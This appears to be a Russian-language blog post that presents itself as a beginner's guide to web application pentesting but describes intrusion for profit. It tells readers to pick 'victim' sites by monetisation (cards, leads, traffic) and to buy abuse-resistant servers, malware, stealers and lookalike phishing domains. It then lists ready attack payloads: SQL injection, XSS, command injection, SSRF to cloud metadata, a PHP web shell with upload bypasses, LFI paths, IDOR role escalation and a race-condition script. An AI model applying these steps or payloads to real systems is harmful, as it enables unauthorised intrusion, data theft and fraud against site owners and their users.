ScanMap
ScanMap
Pentest

Тестирование веб-приложений на уязвимости

A
Admin
2026-04-20
Тестирование веб-приложений на уязвимости

Приветствую, уважаемые читатели! В этой статье я собрал краткий обзор основ пентеста веб-приложений. Материал будет особенно полезен тем, кто только планирует начать работать в этой сфере. Вскоре появятся и более сложные статьи.

С чего начать?

Для старта потребуется защищённая система с установленным Kali Linux или другой Linux. Лучше использовать удалённый сервер - это повысит уровень операционной безопасности (OpSec). Если будет интересно, могу отдельно рассказать, как правильно выбрать безопасное устройство и операционную систему.

Выбор цели.

Тем, кто не знает, с чего начать, я рекомендую определиться, какую прибыль вы хотите получить от сайта. Монетизация сайтов обычно осуществляется за счет:

  • Карт
  • Установок
  • Лидов из баз данных
  • Трафика

Выбрав то, что нас интересует больше всего, мы быстро анализируем, есть ли у интересующих нас сайтов что-то общее, например, фреймворк, иконка, заголовок или совпадающий HTML-код. Мы делаем об этом пометку и двигаемся дальше.

Разведка

Я рассмотрю подход при работе с одной конкретной целью (для массового тестирования требуются другие инструменты).

Мы переходим на веб-сайт жертву. Первым делом мы проверяем, какие у него есть субдомены. В Kali для этой задачи предусмотрен инструмент под названием subfinder (все эти приложения можно легко загрузить и в других дистрибутивах Linux).

subfinder -d target.com -o subdomains.txt

Alt text

Мы обнаружили несколько субдоменов. Теперь нам нужно точно определить, что находится на этих субдоменах; для этого существует плагин для браузера под названием Wappalyzer. Мы получаем следующий результат: Alt text

Начинаем фузинг (тестирование методом перебора) с помощью ffuf для выявления интересных конечных точек; для этого мы будем использовать список слов для атаки методом перебора из классного репозитория.

ffuf -u https://www.target.com/FUZZ -w api-endpoints.txt -mc 200,301,302,401,403

ffuf

Обязательно попробуйте Google dork - иногда этот простой метод позволяет обнаружить много интересной информации из-за неправильных настроек доступа к важным файлам.

site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com ext:sql OR ext:env

Google dork

Собираем базовую информацию о DNS; иногда это позволяет нам определить фактический IP-адрес сервера без WAF (защита от DDoS-атак, ботов, уязвимостей и т.д.), подобно CloudFlare.

d=example.com; for t in A AAAA CNAME MX NS TXT SOA CAA; do o=$(dig +short "$d" "$t"); [ -n "$o" ] && printf '\n[%s]\n%s\n' "$t" "$o"; done

Dns Lookup

Самое главное в этом разделе - собрать как можно больше информации о потенциальной жертве. Чем больше информации вы соберете - и чем выше будет её качество - тем проще будет выполнить последующие шаги.

Разработка ресурсов

Это этап подготовки, на котором мы выбираем и готовим инструменты, а также разрабатываем стратегию. Каждый выбирает те инструменты, с которыми ему удобнее всего работать.

Покупаем необходимые ресурсы, такие как:

  • Домены (похожие на домены жертв)
  • Серверы (abuse-resistant)
  • Вредоносное ПО (вирусы или доступы)
  • Эксплойты
  • Учетные записи (в соц. сетях, эл. почте, облаке)
  • Реклама

Выбираем метод атаки, например:

Фишинг - создаем веб-сайт, имитирующий страницу входа в админ-панель или панель управления проектом жертвы, приобретаем похожий домен (заменяя «i» на «l», «o» на «0» и т. д.) и рассылаем ссылку по электронной почте, через телефонные звонки, рекламные объявления, письма по почте или в социальных сетях.

Вирус - используем собственное ПО или арендуем, совместимое с ОС жертвы. Тип ПО следует выбирать исходя из поставленной задачи (HVNC, RAT, stealer, loader). Приобретаем сертификат под ОС жертвы, чтобы обойти антивирус. Отправляем электронное письмо с clickfix (CAPTCHA, содержащая полезную нагрузку).

Уязвимость - находим ошибки, связанные с неправильными настройками доступа к файлам, баги в коде, такие как SQLi (извлечение данных из базы данных), обман веб-кеша, XXE-инъекция (использование уязвимостей XML) и многие другие. Это основная тема моей сегодняшней статьи, и я обсужу ее более подробно ниже.

Первоначальный доступ

Конечная цель каждого интернет-охотника. Момент, когда вы наконец получаете то, что так долго искали. Так давайте же рассмотрим несколько распространенных уязвимостей.

Burp Suite - самый удобный инструмент для изменения запросов и ответов

Начнём с известного всем sqli. Чтобы понять его, полезно иметь представление о языке SQL; короче говоря, достаточно знать, что оператор SELECT заставляет многие базы данных раскрывать вам, обычному пользователю, данные, которые должны были оставаться конфиденциальными. Такие запросы обычно начинаются с символа ' и заканчиваются символами --

Пример уязвимой ссылки

https://target.com/products?category=Gifts'+OR+1=1--

Самые популярные SQL базы данных - MySQL, Postgresql, Oracle, Microsoft.

IDOR - доступ к чужим данным через перебор из-за того что приложение не проверяет имеет ли право текущий пользователь видеть страницу. Пример:

GET /api/user/123/profile
GET /api/user/124/profile


curl -x POST /api/user/124/profile
curl -x PUT /api/user/124/profile
curl -x DELETE /api/user/124/profile

Можете попробовать изменить запросы следующим образом:

POST /api/user/124/update
{"role": "admin", "is_admin": true}

XSS - когда интерфейс уязвим для непредвиденных действий. Если вы обнаружите одну из таких уязвимостей, то при неправильной настройке интерфейса сможете извлечь сессию. Обычно такие уязвимости проверяются во всех полях ввода или даже при загрузке файлов. Примеры:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<ScRiPt>alert(1)</sCrIpT>
<body onload=alert(1)>
<svg/onload=alert(1)>

Инъекция команд - когда бэкенд выполняет команды в своей операционной системе. Примеры:

; ls
| cat /etc/passwd
&& whoami
`id`
$(whoami)

# Слепые
; sleep 10
| ping -c 10 127.0.0.1

SSRF - Уязвимость № 1 по версии OWASP 2025. Она возникает, когда веб-приложение переходит на страницу, на которую не должно было переходить. Это открывает доступ к внутренним сервисам, позволяет обойти брандмауэр и в некоторых случаях приводит к эскалации прав до уровня удаленного выполнения кода (RCE). Уязвимость вызвана отсутствием ограничений на отправку запросов, неправильной настройкой CORS и слабой проверкой входных данных. Примеры:

http://127.0.0.1
http://localhost
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/

# Техники обхода
http://127.1
http://[::1]
http://127.0.0.1.nip.io

Проверка токена JWT - такие токены обычно используются для идентификации пользователя. Токен JWT подписывается закрытым ключом сервера, и в случае компрометации этого ключа появляется возможность манипулировать информацией, которую бэкэнд использует для вашей идентификации.

jwt_tool <TOKEN> -X k -pk public.pem

Уязвимая загрузка файлов - иногда серверная часть системы исполняет загруженный вами файл. С помощью Metasploit можно легко создать эксплойт для цели.

# Терминал PHP
<?php system($_GET['cmd']); ?>

# Обход с помощью расширения
GIF89a<?php system($_GET['cmd']); ?>
shell.php.jpg
shell.php%00.jpg
shell.PhP

LFI/RFI - первая уязвимость позволяет получать доступ к локальным файлам на сервере, например к конфигурационным данным или другим чувствительным файлам. Вторая связана с возможностью подключить и выполнить файл с удалённого сервера. Примеры:

../../../../etc/passwd
../../../../var/log/apache2/access.log

Гонка - если бэкэнд не справляется с большим количеством одновременных запросов, он может обработать несколько покупок, даже если на счете было достаточно средств только для одной. Пример:

import concurrent.futures, requests

def req():
    return requests.post('https://target.com/redeem', 
                        data={'code': 'GIFT100'})

with concurrent.futures.ThreadPoolExecutor(max_workers=20) as ex:
    [ex.submit(req) for _ in range(20)]

Один из этих методов обязательно сработает для вас; главное - применять его правильно, не торопясь и сохраняя хладнокровие. У вас всё получится - нужно только начать. Спасибо, что дочитали до конца; надеюсь, эта статья оказалась вам полезной и не слишком скучной.

Для того чтобы закрепиться в системе и получить результат, необходимо выполнить ещё множество шагов, но я постарался объяснить основы как можно понятнее и проще, не углубляясь в излишне технические детали. Если вам интересно, я могу написать ещё статей; тем для написания много, как и мотивации.

Comments

Loading comments...